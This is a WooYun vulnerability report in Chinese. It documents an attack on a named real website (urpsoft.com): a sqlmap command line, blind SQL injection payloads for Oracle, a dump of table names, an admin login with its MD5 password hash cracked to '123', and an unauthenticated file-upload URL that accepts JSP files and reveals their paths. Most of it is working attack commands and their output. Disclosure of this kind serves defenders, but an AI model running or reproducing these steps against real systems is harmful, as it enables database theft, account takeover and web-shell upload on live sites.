WooYun.org

使用sqlmap跑一下，
./sqlmap.py -u http://www.urpsoft.com/pages/info_list.jsp?classcode=701 --dump --schema --batch --exclude-sysdbs
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: classcode
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: classcode=701%' AND 3788=3788 AND '%'='
Type: AND/OR time-based blind
Title: Oracle AND time-based blind (heavy query)
Payload: classcode=701%' AND 7636=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) AND '%'='
---
[09:54:03] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
Database: QYYR
[141 tables]
+-----------------------------+
| ATTACHMENT_RECORD |
| AUTHMGR_APPPERM |
| AUTHMGR_BMZWB |
| AUTHMGR_GROUPINFO |
| AUTHMGR_GROUP_MEMBER |
| AUTHMGR_MZB |
| AUTHMGR_PZZJG |
| AUTHMGR_ROLE |
| AUTHMGR_USERINFO |
| AUTHMGR_USERINFOEX |
| AUTHMGR_USER_GROUP |
| AUTHMGR_USER_ROLE |
| AUTHMGR_USER_USERTYPE |
| AUTHMGR_XLB |
| AUTHMGR_YHZWB |
| AUTHMGR_ZCB |
| AUTHMGR_ZWB |
| AUTHMGR_ZZJG |
| AUTHMGR_ZZJGTREE |
| BBSFAVOURITETHREAD |
| BBSFORUM |
| BBSFORUMMANAGER |
| BBSMESSAGE |
| BBSTHREAD |
| BGSW_HYHZB |
| BGSW_HYSB |
| BGSW_HYSYDB |
| BGSW_HYS_APPLY_INFO |
| BGSW_HYTZB |
| BGSW_JDCJR |
| BGSW_RCAPB |
| BGSW_RCRYB |
| BGSW_YCANGLB |
| BGSW_YCHEGLB |
| BGSW_YZGLB |
| BG_DHJL |
| BG_JDRC |
| BXLX_BM |
| CALENDAR_ITEM |
| CALENDAR_SERIAL_INFO |
| CONTACT_GROUP |
| CONTACT_GROUP_MEMBER |
| CONTACT_ITEM |
| DEPTPHONE |
| DEPTUSERORDER |
| DEPT_XX |
| DIGESTCATEGORY |
| DIGESTMESSAGE |
| DIGESTOPERATETARGET |
| FILEMANAGER |
。。。。
省略若干
http://www.urpsoft.com/login.jsp,这是后台地址，凭着神一般的耐心，从这么多乱七八糟的表中，竟然找到了登陆账户和密码，
首先找到这个表，其中ZJH为登陆名，
Database: QYYR
Table: AUTHMGR_USERINFO
+---------+-------+-------+----------+------+-------------+
| BUMENID | XM | ZJH | JSZW | XZZW | USERINFOSEQ |
+---------+-------+-------+----------+------+-------------+
| 0 | 쾵춳맜샭풱 | S0009 | 쟥풪폅죭뿆벼폐쿞 | NULL | 267 |
+---------+-------+-------+----------+------+-------------+
Table: AUTHMGR_USERINFOEX
[1 entry]
+----------------------------------------+--------------+
| MM | USERINFO_SEQ |
+----------------------------------------+--------------+
| 202cb962ac59075b964b07152d234b70 (123) | 267 |
+----------------------------------------+--------------+
找到AUTHMGR_USERINFOEX表中对应的USERINFOSEQ，与MM，（密码）
使用ZJH和MM可以登陆后台。
登陆后，发现名字是首都师范大学网站管理系统。。。
在想怎样上传，js源码里看到对各种扩展名进行了过滤，突然发现，这是坑人的，其实是任意文件上传。。根本不需要登陆后台！汗一个。。。
http://www.urpsoft.com/editortpxx/upload1.jsp？type=file&style=config&seq=5507&commtype=tpxx
上传jsp，点击确定后，虽然显示是空白的，但是在html源码里可以看到，<script language=javascript>
parent.UploadSaved('tpxx','../UploadFile/tpxx/20131120105044769/79bb6838bbf3461e3f1493414bfd5dc5.jsp');</script>
我汗，太贴心了，路径都给你了。。。